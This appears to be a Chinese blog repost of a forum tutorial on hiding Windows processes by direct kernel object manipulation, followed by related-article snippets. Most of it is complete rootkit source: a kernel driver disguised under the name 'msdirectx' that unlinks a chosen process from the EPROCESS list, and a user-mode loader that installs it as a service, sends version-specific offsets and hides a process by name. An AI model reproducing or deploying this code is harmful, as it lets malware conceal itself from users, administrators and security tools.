直接修改内核对象隐藏进程

在windows内核模式下隐藏进程 进程隐藏之内核实现 1、在内核模式下,系统为每个进程维护了一个EPROCESS结构体,系统所有的进程是通过EPROCESS结构体中的一个ActiveProcessLinks指向的双端链表连接起来的,通过winDBG内核调试工具就可以发现并获取其相对于EPROCESS结构体的地址(0x88),这样我们可以通过遍历该循环链表找到我们的目的进程将其链表的节点删除即可隐藏该进程。(EPROCESS中进程 阅读详情
作 者: guolijie
时 间: 2008-05-12,10:13
链 接: http://bbs.pediy.com/showthread.php?t=64728

Windows NT/2000/XP/2003操作系统具有描述了进程的可执行对象。Taskmgr.exe列出机器上运行的进程。ZwQuerySystemInformation 也使用这 些 对象列出运行的进程,修改这 些 对象,可以隐藏进程。
      通过遍历 在每 个进程的EPROCESS结构中引用的一个双向链表,EPROCESS结构包含一个具有指针成员FLINK和BLINK的lLIST_ENTRY结构。这两个指针分别指向当前进程描述符的前方和后方进程,通过修改这 两个指针可以隐藏指定进程。
      本程序通过用户空间程序获的进程ID,EPROCESS块 中FLINK和 PID的偏移量 ,传送给驱动程序,驱动程序修改链表隐藏进程。而通过PsGetCurrentProcess可以得到当前进程的指针,顺藤摸瓜就可找到要隐藏的进程。以下是代码。

驱动程序
#include "ntddk.h"
#include "stdio.h"
#include "stdlib.h"
typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD * PDWORD;

#define FILE_DEVICE_ROOTKIT      0x00002a7b

#define IOCTL_ROOTKIT_INIT            (ULONG) CTL_CODE(FILE_DEVICE_ROOTKIT, 0x01, METHOD_BUFFERED, FILE_WRITE_ACCESS)
#define IOCTL_ROOTKIT_HIDEME          (ULONG) CTL_CODE(FILE_DEVICE_ROOTKIT, 0x02, METHOD_BUFFERED, FILE_WRITE_ACCESS)
int FLINKOFFSET;   
int PIDOFFSET; 
PDEVICE_OBJECT g_RootkitDevice; 
const WCHAR deviceLinkBuffer[]  = L"//DosDevices//msdirectx";
const WCHAR deviceNameBuffer[]  = L"//Device//msdirectx";
#define   DebugPrint    DbgPrint   
DWORD FindProcessEPROC(int);//遍历链表寻找要隐藏的进程的函数

NTSTATUS RootkitDispatch(IN PDEVICE_OBJECT, IN PIRP);
NTSTATUS RootkitUnload(IN PDRIVER_OBJECT);
NTSTATUS RootkitDeviceControl(IN PFILE_OBJECT, IN BOOLEAN, IN PVOID, 
              IN ULONG, OUT PVOID, IN ULONG, IN ULONG, 
              OUT PIO_STATUS_BLOCK, IN PDEVICE_OBJECT
              );

NTSTATUS DriverEntry(
           IN PDRIVER_OBJECT  DriverObject,
           IN PUNICODE_STRING RegistryPath
          )
{
  
    NTSTATUS                ntStatus;
    UNICODE_STRING          deviceNameUnicodeString;
    UNICODE_STRING          deviceLinkUnicodeString;        
    RtlInitUnicodeString (&deviceNameUnicodeString,
                          deviceNameBuffer );
    RtlInitUnicodeString (&deviceLinkUnicodeString,
                          deviceLinkBuffer );

    ntStatus = IoCreateDevice ( DriverObject,
                                0, // For driver extension
                                &deviceNameUnicodeString,
                                FILE_DEVICE_ROOTKIT,
                                0,
                                TRUE,
                                &g_RootkitDevice );

    if( NT_SUCCESS(ntStatus)) {
        ntStatus = IoCreateSymbolicLink (&deviceLinkUnicodeString,
                                         &deviceNameUnicodeString );

        DriverObject->MajorFunction[IRP_MJ_SHUTDOWN]        =
        DriverObject->MajorFunction[IRP_MJ_CREATE]          =
        DriverObject->MajorFunction[IRP_MJ_CLOSE]           =
        DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]  = RootkitDispatch;

        DriverObject->DriverUnload                          = RootkitUnload;
    }
    else 
  {
        DebugPrint(("Failed to create device!/n"));
        return ntStatus;
    }

    return STATUS_SUCCESS;
}


NTSTATUS RootkitUnload(IN PDRIVER_OBJECT DriverObject)
{
    UNICODE_STRING          deviceLinkUnicodeString;
  PDEVICE_OBJECT      p_NextObj;

  p_NextObj = DriverObject->DeviceObject;

  if (p_NextObj != NULL)
  {
    RtlInitUnicodeString( &deviceLinkUnicodeString, deviceLinkBuffer );
    IoDeleteSymbolicLink( &deviceLinkUnicodeString );
    IoDeleteDevice( DriverObject->DeviceObject );
    return STATUS_SUCCESS;
  }
  return STATUS_SUCCESS;
}
NTSTATUS 
RootkitDispatch(
    IN PDEVICE_OBJECT DeviceObject, 
    IN PIRP Irp 
    )
{
    PIO_STACK_LOCATION      irpStack;
    PVOID                   inputBuffer;
    PVOID                   outputBuffer;
    ULONG                   inputBufferLength;
    ULONG                   outputBufferLength;
    ULONG                   ioControlCode;
  NTSTATUS        ntstatus;
  
    ntstatus = Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;
    irpStack = IoGetCurrentIrpStackLocation (Irp);
    
    inputBuffer             = Irp->AssociatedIrp.SystemBuffer;
    inputBufferLength       = irpStack->Parameters.DeviceIoControl.InputBufferLength;
    outputBuffer            = Irp->AssociatedIrp.SystemBuffer;
    outputBufferLength      = irpStack->Parameters.DeviceIoControl.OutputBufferLength;
    ioControlCode           = irpStack->Parameters.DeviceIoControl.IoControlCode;

    switch (irpStack->MajorFunction) {
    case IRP_MJ_CREATE:
        break;

    case IRP_MJ_SHUTDOWN:
        break;

    case IRP_MJ_CLOSE:
        break;

    case IRP_MJ_DEVICE_CONTROL:
        ntstatus = RootkitDeviceControl(  irpStack->FileObject, TRUE,
                        inputBuffer, inputBufferLength, 
                        outputBuffer, outputBufferLength,
                        ioControlCode, &Irp->IoStatus, DeviceObject );
        break;
    }
    IoCompleteRequest( Irp, IO_NO_INCREMENT );
    return ntstatus;   
}


NTSTATUS
RootkitDeviceControl(
    IN PFILE_OBJECT FileObject, 
    IN BOOLEAN Wait,
    IN PVOID InputBuffer, 
    IN ULONG InputBufferLength, 
    OUT PVOID OutputBuffer, 
    IN ULONG OutputBufferLength, 
    IN ULONG IoControlCode, 
    OUT PIO_STATUS_BLOCK IoStatus, 
    IN PDEVICE_OBJECT DeviceObject 
    ) 
{
  NTSTATUS ntStatus;
    UNICODE_STRING          deviceLinkUnicodeString;

  int  find_PID = 0;

  DWORD eproc      = 0x00000000;
  DWORD start_eproc= 0x00000000;
  PLIST_ENTRY          plist_active_procs = NULL;

  IoStatus->Status = STATUS_SUCCESS;
    IoStatus->Information = 0;

    switch ( IoControlCode ) 
  {

  case IOCTL_ROOTKIT_INIT:
    if ((InputBufferLength < sizeof(int) * 8) || (InputBuffer == NULL))
    {
      IoStatus->Status = STATUS_INVALID_BUFFER_SIZE;
      break;
    }
    PIDOFFSET       = (int) (*(int *)InputBuffer);//从用户空间得到PID和FLINKOFFSET
    FLINKOFFSET     = (int) (*((int *)InputBuffer+1));
  
  break;

  case IOCTL_ROOTKIT_HIDEME:
    if ((InputBufferLength < sizeof(DWORD)) || (InputBuffer == NULL))
    {
      IoStatus->Status = STATUS_INVALID_BUFFER_SIZE;
      break;
    }

    find_PID = *((DWORD *)InputBuffer);//从用户空间程序得到隐藏进程ID号
    if (find_PID == 0x00000000)
    {
      IoStatus->Status = STATUS_INVALID_PARAMETER;
      break;
    }
    
    eproc = FindProcessEPROC(find_PID);//通过ID号找到对应进程
    if (eproc == 0x00000000)
    {
      IoStatus->Status = STATUS_INVALID_PARAMETER;
      break;
    }
    
    plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);//隐藏进程
    *((DWORD *)plist_active_procs->Blink) = (DWORD) plist_active_procs->Flink;
    *((DWORD *)plist_active_procs->Flink+1) = (DWORD) plist_active_procs->Blink;
  
    break;
   
  default:
    IoStatus->Status = STATUS_INVALID_DEVICE_REQUEST;
    break;
  }

    return IoStatus->Status;
}
DWORD FindProcessEPROC (int terminate_PID)
{
  DWORD eproc       = 0x00000000; 
  int   current_PID = 0;
  int   start_PID   = 0; 
  int   i_count     = 0;
  PLIST_ENTRY plist_active_procs;

  
  if (terminate_PID == 0)
    return terminate_PID;

  eproc = (DWORD) PsGetCurrentProcess();//得到当前进程的PLIST_ENTRY
  start_PID = *((DWORD*)(eproc+PIDOFFSET));//PIDOFFSET为PLIST_ENTRY中保存进程ID的偏移量。
  current_PID = start_PID;

  while(1)//遍历链表比较进程ID找到要隐藏的进程的PLIST_ENTRY
  {
    if(terminate_PID == current_PID)
      return eproc;
    else if((i_count >= 1) && (start_PID == current_PID))
    {
      return 0x00000000;
    }
    else {
      plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);
      eproc = (DWORD) plist_active_procs->Flink;
      eproc = eproc - FLINKOFFSET;
      current_PID = *((int *)(eproc+PIDOFFSET));
      i_count++;
    }
  }
}


2 用户空间程序
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <process.h>
#include <tlhelp32.h>
#include <string.h>
#include <winioctl.h>
#include <winsvc.h>
#include <tchar.h>
#include <stdlib.h>
#define        SECURITY_STRING_LEN              168
#define        LG_PAGE_SIZE                4096
#define        MAX_KEY_LENGTH                1024
#define        LG_SLEEP_TIME                4000

#define FILE_DEVICE_ROOTKIT      0x00002a7b
#define IOCTL_ROOTKIT_HIDEME          (ULONG) CTL_CODE(FILE_DEVICE_ROOTKIT, 0x02, METHOD_BUFFERED, FILE_WRITE_ACCESS)
#define IOCTL_ROOTKIT_INIT            (ULONG) CTL_CODE(FILE_DEVICE_ROOTKIT, 0x01, METHOD_BUFFERED, FILE_WRITE_ACCESS)
HANDLE gh_Device = INVALID_HANDLE_VALUE;
static CHAR ac_driverLabel[]="msdirectx";
static CHAR ac_driverName[]="msdirectx.sys";
DWORD pid;
HANDLE h_Device = INVALID_HANDLE_VALUE;
DWORD  d_bytesRead, d_error;
CHAR ac_driverPath[MAX_PATH];
BOOL bOsVersionInfoEx;
BOOL Found = FALSE;
CHAR acModulePath[MAX_PATH];
int  pid_offset = 0;
int  flink_offset = 0;
int  authid_offset = 0;
int  token_offset = 0; 
int  privcount_offset = 0;
int  privaddr_offset  = 0;
int  sidcount_offset = 0;
int  sidaddr_offset  = 0;
char m_szDriverExt[MAX_PATH];
char DriverName[MAX_PATH];
char sz_drivername[MAX_PATH];
char m_szDriverFullPath[MAX_PATH];
PROCESSENTRY32 stProcess;

const BYTE g_szSecurity[SECURITY_STRING_LEN]=
{
  0x01,0x00,0x14,0x80,0x90,0x00,0x00,0x00,0x9c,0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x02,
  0x00,0x1c,0x00,0x01,0x00,0x00,0x00,0x02,0x80,0x14,0x00,0xff,0x01,0x0f,0x00,0x01,0x01,0x00,0x00,0x00,0x00,
  0x00,0x01,0x00,0x00,0x00,0x00,0x02,0x00,0x60,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x14,0x00,0xfd,0x01,0x02,
  0x00,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x05,0x12,0x00,0x00,0x00,0x00,0x00,0x18,0x00,0xff,0x01,0x0f,0x00,
  0x01,0x02,0x00,0x00,0x00,0x00,0x00,0x05,0x20,0x00,0x00,0x00,0x20,0x02,0x00,0x00,0x00,0x00,0x14,0x00,0x8d,
  0x01,0x02,0x00,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x05,0x0b,0x00,0x00,0x00,0x00,0x00,0x18,0x00,0xfd,0x01,
  0x02,0x00,0x01,0x02,0x00,0x00,0x00,0x00,0x00,0x05,0x20,0x00,0x00,0x00,0x23,0x02,0x00,0x00,0x01,0x01,0x00,
  0x00,0x00,0x00,0x00,0x05,0x12,0x00,0x00,0x00,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x05,0x12,0x00,0x00,0x00
};


/*******************************************************************************/
*
*  函数及实现
*
/*******************************************************************************/

void PrintLastError(int errorno)
{
#if defined(DEBUG) || defined(_DEBUG)
  LPVOID  lpMsgBuf;

  if(0==errorno)
  {
    errorno=GetLastError();
  }
  FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,NULL,errorno,0,(LPTSTR) &lpMsgBuf,0,NULL);
#ifdef _CONSOLE
  printf("%s/r/n",lpMsgBuf);
#else
  MessageBox(NULL,(LPCTSTR)lpMsgBuf,"错误",MB_OK|MB_TOPMOST);
#endif
  LocalFree(lpMsgBuf);

#endif
}

bool SplitFilePath(const char* szFullPath,char* szPath,char* szFileName,char* szFileExt)
{
  char*  p,*q,*r;
  size_t  len;

  if(NULL==szFullPath)
  {
    return false;
  }
  p=(char*)szFullPath;
  len=strlen(szFullPath);
  if(szPath)
  {
    szPath[0]=0;
  }
  if(szFileName)
  {
    szFileName[0]=0;
  }
  if(szFileExt)
  {
    szFileExt[0]=0;
  }
  q=p+len;
  while(q>p)
  {
    if( *q=='//' || *q=='/')
    {
      break;
    }
    q--;
  }
  if(q<=p)
  {
    return false;
  }
  if(szPath)
  {
    memcpy(szPath,p,q-p+1);
    szPath[q-p+1]=0;
  }
  q++;
  p=q;
  r=NULL;
  while(*q)
  {
    if(*q=='.')
    {
      r=q;
    }
    q++;
  }
  if(NULL==r)
  {
    if(szFileName)
    {
      memcpy(szFileName,p,q-p+1);
    }
  }
  else
  {
    if(szFileName)
    {
      memcpy(szFileName,p,r-p);
      szFileName[r-p]=0;
    }
    if(szFileExt)
    {
      memcpy(szFileExt,r+1,q-r+1);
    }
  }

  return true;
}
int  InstallDriver(const char* cszDriverName,const char* cszDriverFullPath)
{
  char  szBuf[LG_PAGE_SIZE];
  HKEY  hKey;
  DWORD  dwData;

  if( NULL==cszDriverName || NULL==cszDriverFullPath )
  {
    return -1;
  }
  memset(szBuf,0,LG_PAGE_SIZE);
  strcpy(szBuf,"SYSTEM//CurrentControlSet//Services//");
  strcat(szBuf,cszDriverName);
  if(RegCreateKeyEx(HKEY_LOCAL_MACHINE,szBuf,0,"",0,KEY_ALL_ACCESS,NULL,&hKey,(LPDWORD)&dwData)!=ERROR_SUCCESS)
  {
    return -1;
  }
  strcpy(szBuf,cszDriverName);
  if(RegSetValueEx(hKey,"DisplayName",0,REG_SZ,(CONST BYTE*)szBuf,(DWORD)strlen(szBuf))!=ERROR_SUCCESS)
  {
    return -1;
  }
  dwData=1;
  if(RegSetValueEx(hKey,"ErrorControl",0,REG_DWORD,(CONST BYTE*)&dwData,sizeof(DWORD))!=ERROR_SUCCESS)
  {
    return -1;
  }
  strcpy(szBuf,"//??//");
  strcat(szBuf,cszDriverFullPath);
  if(RegSetValueEx(hKey,"ImagePath",0,REG_SZ,(CONST BYTE*)szBuf,(DWORD)strlen(szBuf))!=ERROR_SUCCESS)
  {
    return -1;
  }
  dwData=3;
  if(RegSetValueEx(hKey,"Start",0,REG_DWORD,(CONST BYTE*)&dwData,sizeof(DWORD))!=ERROR_SUCCESS)
  {
    return -1;
  }
  dwData=1;
  if(RegSetValueEx(hKey,"Type",0,REG_DWORD,(CONST BYTE*)&dwData,sizeof(DWORD))!=ERROR_SUCCESS)
  {
    return -1;
  }
  RegFlushKey(hKey);
  RegCloseKey(hKey);
  strcpy(szBuf,"SYSTEM//CurrentControlSet//Services//");
  strcat(szBuf,cszDriverName);
  strcat(szBuf,"//Security");
  if(RegCreateKeyEx(HKEY_LOCAL_MACHINE,szBuf,0,"",0,KEY_ALL_ACCESS,NULL,&hKey,(LPDWORD)&dwData)!=ERROR_SUCCESS)
  {
    return -1;
  }
  dwData=SECURITY_STRING_LEN;
  if(RegSetValueEx(hKey,"Security",0,REG_BINARY,g_szSecurity,dwData)!=ERROR_SUCCESS)
  {
    return -1;
  }
  RegFlushKey(hKey);
  RegCloseKey(hKey);

  return 0;
}

int CreateDriver(const char* cszDriverName,const char* cszDriverFullPath)
{
  SC_HANDLE    schManager;
  SC_HANDLE    schService;
  SERVICE_STATUS  svcStatus;
  bool      bStopped=false;
  int        i;

  if( NULL==cszDriverName || NULL==cszDriverFullPath )
  {
    return -1;
  }
  schManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
  if(NULL==schManager)
  {
    return -1;
  }
  schService=OpenService(schManager,cszDriverName,SERVICE_ALL_ACCESS);
  if(NULL!=schService)
  {
    if(ControlService(schService,SERVICE_CONTROL_INTERROGATE,&svcStatus))
    {
      if(svcStatus.dwCurrentState!=SERVICE_STOPPED)
      {
        if(0==ControlService(schService,SERVICE_CONTROL_STOP,&svcStatus))
        {
          CloseServiceHandle(schService);
          CloseServiceHandle(schManager);
          return -1;
        }
        for(i=0;i<10;i++)
        {
          if( ControlService(schService,SERVICE_CONTROL_INTERROGATE,&svcStatus)==0 || svcStatus.dwCurrentState==SERVICE_STOPPED )
          {
            bStopped=true;
            break;
          }
          Sleep(LG_SLEEP_TIME);
        }
        if(!bStopped)
        {
          CloseServiceHandle(schService);
          CloseServiceHandle(schManager);
          return -1;
        }
      }
    }
    CloseServiceHandle(schService);
    CloseServiceHandle(schManager);
    return 0;
  }
  schService=CreateService(schManager,cszDriverName,cszDriverName,SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_SYSTEM_START,SERVICE_ERROR_NORMAL,cszDriverFullPath,NULL,NULL,NULL,NULL,NULL);
  if(NULL==schService)
  {
    CloseServiceHandle(schManager);
    return -1;
  }
  CloseServiceHandle(schService);
  CloseServiceHandle(schManager);

  return 0;
}

int StartDriver(const char* cszDriverName,const char* cszDriverFullPath)
{
  SC_HANDLE    schManager;
  SC_HANDLE    schService;
  SERVICE_STATUS  svcStatus;
  bool      bStarted=false;
  int        i;

  if(NULL==cszDriverName)
  {
    return -1;
  }
  if(CreateDriver(cszDriverName,cszDriverFullPath)<0)
  {
    return -1;
  }
  schManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
  if(NULL==schManager)
  {
    return -1;
  }
  schService=OpenService(schManager,cszDriverName,SERVICE_ALL_ACCESS);
  if(NULL==schService)
  {
    CloseServiceHandle(schManager);
    return -1;
  }
  if(ControlService(schService,SERVICE_CONTROL_INTERROGATE,&svcStatus))
  {
    if(svcStatus.dwCurrentState==SERVICE_RUNNING)
    {
      CloseServiceHandle(schService);
      CloseServiceHandle(schManager);
      return 0;
    }
  }
  else if(GetLastError()!=ERROR_SERVICE_NOT_ACTIVE)
  {
    CloseServiceHandle(schService);
    CloseServiceHandle(schManager);
    return -1;
  }
  if(0==StartService(schService,0,NULL))
  {
    CloseServiceHandle(schService);
    CloseServiceHandle(schManager);
    PrintLastError(0);
    return -1;
  }
  for(i=0;i<10;i++)
  {
    if( ControlService(schService,SERVICE_CONTROL_INTERROGATE,&svcStatus) && svcStatus.dwCurrentState==SERVICE_RUNNING )
    {
      bStarted=true;
      break;
    }
    Sleep(LG_SLEEP_TIME);
  }
  CloseServiceHandle(schService);
  CloseServiceHandle(schManager);

  return bStarted?0:-1;
}

int StopDriver(const char* cszDriverName,const char* cszDriverFullPath)
{
  SC_HANDLE    schManager;
  SC_HANDLE    schService;
  SERVICE_STATUS  svcStatus;
  bool      bStopped=false;
  int        i;

  schManager=OpenSCManager(NULL,0,0);
  if(NULL==schManager)
  {
    return -1;
  }
  schService=OpenService(schManager,cszDriverName,SERVICE_ALL_ACCESS);
  if(NULL==schService)
  {
    CloseServiceHandle(schManager);
    return -1;
  }
  if(ControlService(schService,SERVICE_CONTROL_INTERROGATE,&svcStatus))
  {
    if(svcStatus.dwCurrentState!=SERVICE_STOPPED)
    {
      if(0==ControlService(schService,SERVICE_CONTROL_STOP,&svcStatus))
      {
        CloseServiceHandle(schService);
        CloseServiceHandle(schManager);
        return -1;
      }
      for(i=0;i<10;i++)
      {
        if( ControlService(schService,SERVICE_CONTROL_INTERROGATE,&svcStatus)==0 || svcStatus.dwCurrentState==SERVICE_STOPPED )
        {
          bStopped=true;
          break;
        }
        Sleep(LG_SLEEP_TIME);
      }
      if(!bStopped)
      {
        CloseServiceHandle(schService);
        CloseServiceHandle(schManager);
        return -1;
      }
    }
  }
  CloseServiceHandle(schService);
  CloseServiceHandle(schManager);

  return 0;
}

int DeleteDriver(const char* cszDriverName,const char* cszDriverFullPath)
{
  SC_HANDLE    schManager;
  SC_HANDLE    schService;
  SERVICE_STATUS  svcStatus;

  schManager=OpenSCManager(NULL,0,0);
  if(NULL==schManager)
  {
    return -1;
  }
  schService=OpenService(schManager,cszDriverName,SERVICE_ALL_ACCESS);
  if(NULL==schService)
  {
    CloseServiceHandle(schManager);
    return -1;
  }
  ControlService(schService,SERVICE_CONTROL_STOP,&svcStatus);
  if(0==DeleteService(schService))
  {
    CloseServiceHandle(schService);
    CloseServiceHandle(schManager);
    return -1;
  }
  CloseServiceHandle(schService);
  CloseServiceHandle(schManager);

  return 0;
}

LONG RegDeleteKeyNT(HKEY hStartKey,LPTSTR pKeyName)
{
  DWORD  dwSubKeyLength;
  LPTSTR  pSubKey=NULL;
  TCHAR  szSubKey[MAX_KEY_LENGTH];
  HKEY  hKey;
  LONG  lRet;

  if( pKeyName && lstrlen(pKeyName) )
  {
    if((lRet=RegOpenKeyEx(hStartKey,pKeyName,0,KEY_ENUMERATE_SUB_KEYS|DELETE,&hKey))==ERROR_SUCCESS)
    {
      while(lRet==ERROR_SUCCESS)
      {
        dwSubKeyLength=MAX_KEY_LENGTH;
        lRet=RegEnumKeyEx(hKey,0,szSubKey,(LPDWORD)&dwSubKeyLength,NULL,NULL,NULL,NULL);
        if(lRet==ERROR_NO_MORE_ITEMS)
        {
          lRet=RegDeleteKey(hStartKey,pKeyName);
          break;
        }
        else if(lRet==ERROR_SUCCESS)
        {
          lRet=RegDeleteKeyNT(hKey,szSubKey);
        }
      }
      RegCloseKey(hKey);
    }
  }
  else
  {
    lRet=ERROR_BADKEY;
  }

  return lRet;
}

int RemoveDriver(const char* cszDriverName,const char* cszDriverFullPath)
{
  HKEY hKey;
  long errorno;
  char szBuf[LG_PAGE_SIZE];
  char szDriverName[MAX_PATH];

  memset(szBuf,0,LG_PAGE_SIZE);
  memset(szDriverName,0,MAX_PATH);
  strcpy(szDriverName,cszDriverName);
  strcpy(szBuf,"SYSTEM//CurrentControlSet//Services//");
  if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,szBuf,0,KEY_ALL_ACCESS,&hKey)!=ERROR_SUCCESS)
  {
    return -1;
  }
  if((errorno=RegDeleteKeyNT(hKey,szDriverName))!=ERROR_SUCCESS)
  {
    return -1;
  }
  RegCloseKey(hKey);

  return 0;
}

DWORD HideProc(const char *ProcessName)
{
  DWORD d_bytesRead;
  DWORD success=-1;
    OSVERSIONINFOEX osvi;
  HANDLE hSnapShot;
  BOOL status;
    int  *os_offsets;
  ZeroMemory(&osvi,sizeof(OSVERSIONINFOEX));
  osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFOEX);//不同版本的Windows有不同的 PID和FLINK偏移量
  if( !(bOsVersionInfoEx = GetVersionEx ((OSVERSIONINFO *) &osvi)) )
  {
      osvi.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
      if (! GetVersionEx ( (OSVERSIONINFO *) &osvi) ) 
      return -1;
  }

  switch (osvi.dwPlatformId)
  {
      case VER_PLATFORM_WIN32_NT:
        if ( osvi.dwMajorVersion == 4 && osvi.dwMinorVersion == 0)
        {
          pid_offset = 148;//就用了这pid_offset和flink_offset这两个变量,别的没用,
          flink_offset = 152;
          authid_offset = 24;
          token_offset = 264; 
          privcount_offset = 52;
          privaddr_offset  = 80;
          sidcount_offset = 48;
          sidaddr_offset  = 72;

          Found = TRUE;
        }
        else if ( osvi.dwMajorVersion == 5 && /
                osvi.dwMinorVersion == 0 )
        {
          pid_offset = 156;
          flink_offset = 160;
          authid_offset = 0x18;
          token_offset = 0x12c; 
          privcount_offset = 0x44;
          privaddr_offset  = 0x64;
          sidcount_offset = 0x3c;
          sidaddr_offset  = 0x58;

          Found = TRUE;
        }
        else if ( osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1 )
        {
          pid_offset = 132;
          flink_offset = 136;
          authid_offset = 24;
          token_offset = 200; 
          privcount_offset = 72;
          privaddr_offset  = 104;
          sidcount_offset = 64;
          sidaddr_offset  = 92;

          Found = TRUE;
        }
        else if ( osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2 )
        {
          pid_offset = 132;
          flink_offset = 136;
          authid_offset = 24;
          token_offset = 200; 
          privcount_offset = 84;
          privaddr_offset  = 116;
          sidcount_offset = 76;
          sidaddr_offset  = 104;

          Found = TRUE;
        }
         break;

    default:
      fprintf(stderr, "/nOperating System Version %d.%d Not Supported!/n", osvi.dwMajorVersion, osvi.dwMinorVersion); 
      return -1;
      break; 
  }
  if (!Found)
  {
    return -1;
  }
    os_offsets = (int *)calloc(1, sizeof(int)*8);
  if (!os_offsets)
  {
      //fprintf(stderr, "Memory allocation failed./n");
      return -1;
  }
  memcpy(os_offsets, &pid_offset, sizeof(int));
  memcpy(os_offsets + 1, &flink_offset, sizeof(int));
  memcpy(os_offsets + 2, &authid_offset, sizeof(int));
  memcpy(os_offsets + 3, &token_offset, sizeof(int));
  memcpy(os_offsets + 4, &privcount_offset, sizeof(int));
  memcpy(os_offsets + 5, &privaddr_offset, sizeof(int));
  memcpy(os_offsets + 6, &sidcount_offset, sizeof(int));
  memcpy(os_offsets + 7, &sidaddr_offset, sizeof(int));



  stProcess.dwSize=sizeof(stProcess);
  hSnapShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
  status=Process32First(hSnapShot,&stProcess);//用快照函数获取进程ID
  while(status)
  {
    if(!strcmp(ProcessName,stProcess.szExeFile))
    {
        printf("the ProcessName is %s,ID is %d/n",stProcess.szExeFile,stProcess.th32ProcessID);
      pid=stProcess.th32ProcessID;
    }
    status=Process32Next(hSnapShot,&stProcess);
  }

    h_Device=CreateFile("////.//msdirectx",GENERIC_READ+GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);//!=INVALID_HANDLE_VALUE)
  
  if(h_Device!=INVALID_HANDLE_VALUE)
  {
       if(!DeviceIoControl(h_Device, IOCTL_ROOTKIT_INIT,
              os_offsets,
              sizeof(int)*8,
              NULL,
              0,
              &d_bytesRead,
              NULL))
       return -1;
         success = DeviceIoControl(h_Device, 
          IOCTL_ROOTKIT_HIDEME,
          (void *) &pid,
          sizeof(DWORD),
          NULL,
          0,
          &d_bytesRead,
          NULL);
  }
  else
  {
    printf("can not open device/n");
    return success;
  }
  CloseHandle(h_Device);
  return success;  
}

BOOL DeleteDeviceDriver()//char *DriverName)
{
  if(0>StopDriver(DriverName,m_szDriverFullPath))
  {
    printf("StopDriver failed/n");
    return FALSE;
  }
  else if(0>RemoveDriver(DriverName,m_szDriverFullPath))
  {
    printf("Remove Driver failed/n");
    return FALSE;
  }
  return TRUE;
}
BOOL LoadDeviceDriver()//char *DriverName)
{

  if (GetCurrentDirectory(MAX_PATH, m_szDriverFullPath))
  {
    strncat(m_szDriverFullPath,"//",MAX_PATH-strlen(m_szDriverFullPath));
    strncat(m_szDriverFullPath,"msdirectx.sys",MAX_PATH-strlen(m_szDriverFullPath));
    SplitFilePath(m_szDriverFullPath,ac_driverPath,DriverName,m_szDriverExt);
    if(0>InstallDriver(DriverName,m_szDriverFullPath))
    {
      printf("install failed /n");
      return FALSE;
    }
    else if(0>StartDriver(DriverName,m_szDriverFullPath))
    {
      printf("Start failed/n");
      return FALSE;
    }
  }

  return TRUE;
}
int main()
{
  const int PROCNAMELEN=26;
  
  char *buffer,*start,*ProcessName=new char[MAX_PATH];
  printf("输入隐藏进程名/n");
  
  scanf("%s",ProcessName);
     if(!LoadDeviceDriver())//sz_drivername))//启动驱动程序
     return 0;
  HideProc(ProcessName);//隐藏进程
  if(!(DeleteDeviceDriver()))//sz_drivername)))
    return 0;
//  printf("Hello World!/n");
  return 0;
}
/*
void main()
{
}*/
Linux 隐藏进程 这种方式属于DKoM(Direct Kernel Object Manipulation)攻击方式了,即直接内核对象操作技术。关于第一种hook方式可以参考上一篇文章。最后推荐一个rootkit工具。 阅读详情

相关推荐

Windows任务管理器进程隐藏技术实现

Windows API(Application Programming Interface)是Windows操作系统提供的一组预定义的函数、协议和工具的集合,它们可以用来构建Windows应用程序。API为开发者提供了一种标准化的方式来访问操作系统的服务、硬件设备以及执行其他复杂的操作。在进程管理方面,Windows API允许程序创建、控制、查询以及终止进程和线程。通过这些API,开发者可以编写能够执行这些操作的代码,这在实现自定义进程隐藏逻辑时尤为关键。

weixin_42186387的博客 2118

隐藏进程之内核版

隐藏进程之内核版实现 隐藏进程通常出现在恶意程序中,隐藏的进程能让任务管理器、procexp等3环的程序无法找到它,那么如何实现隐藏进程呢? 由于对这方面还是很感兴趣,今天就来研究一下内核层的隐藏进程,首先在用户层3环,如任务管理器、procexp遍历进程都是使用CreateToolhelp32Snapshot()API创建快照遍历查找的,使用快照的API在内核中就是通过访问一个双向链表的数据结构...

qq_31507523的博客 3313

操作系统内核模式下的进程隐藏技术

本文还有配套的精品资源,点击获取 简介:标题“Hide Process”讨论了在操作系统内核级别实现进程隐藏的技术,特别是涉及Windows驱动程序开发。进程隐藏的目的是使特定的进程在任务管理器或其他工具中不可见,这在安全和隐私保护方面有其合法用途,但也可能被用于恶意目的。技术实现涉及修改系统注册表、利用系统API、内核模式驱动编程、权限控制、代码注入等方法。本技术要点旨在...

weixin_28771751的博客 1409

内核层 inlinehook 隐藏进程

上次是SSDT  HOOK 方式 隐藏 进程 ,如链接:http://blog.youkuaiyun.com/hjxyshell/article/details/16993119 这次是InlineHook 方式隐藏进程,这里inline hook的原理就不做详细介绍了,网上相关资源较多,撸主主要参考看雪的某大牛的“详谈内核三步走Inline Hook实现”(http://bbs.pediy.com/s

ShadowAssassin的专栏 4130

易语言获取隐藏的进程

易语言 获取隐藏进程 取隐藏进程 模块 获取被隐藏的进程id

进程隐藏--通过直接修改内核实现

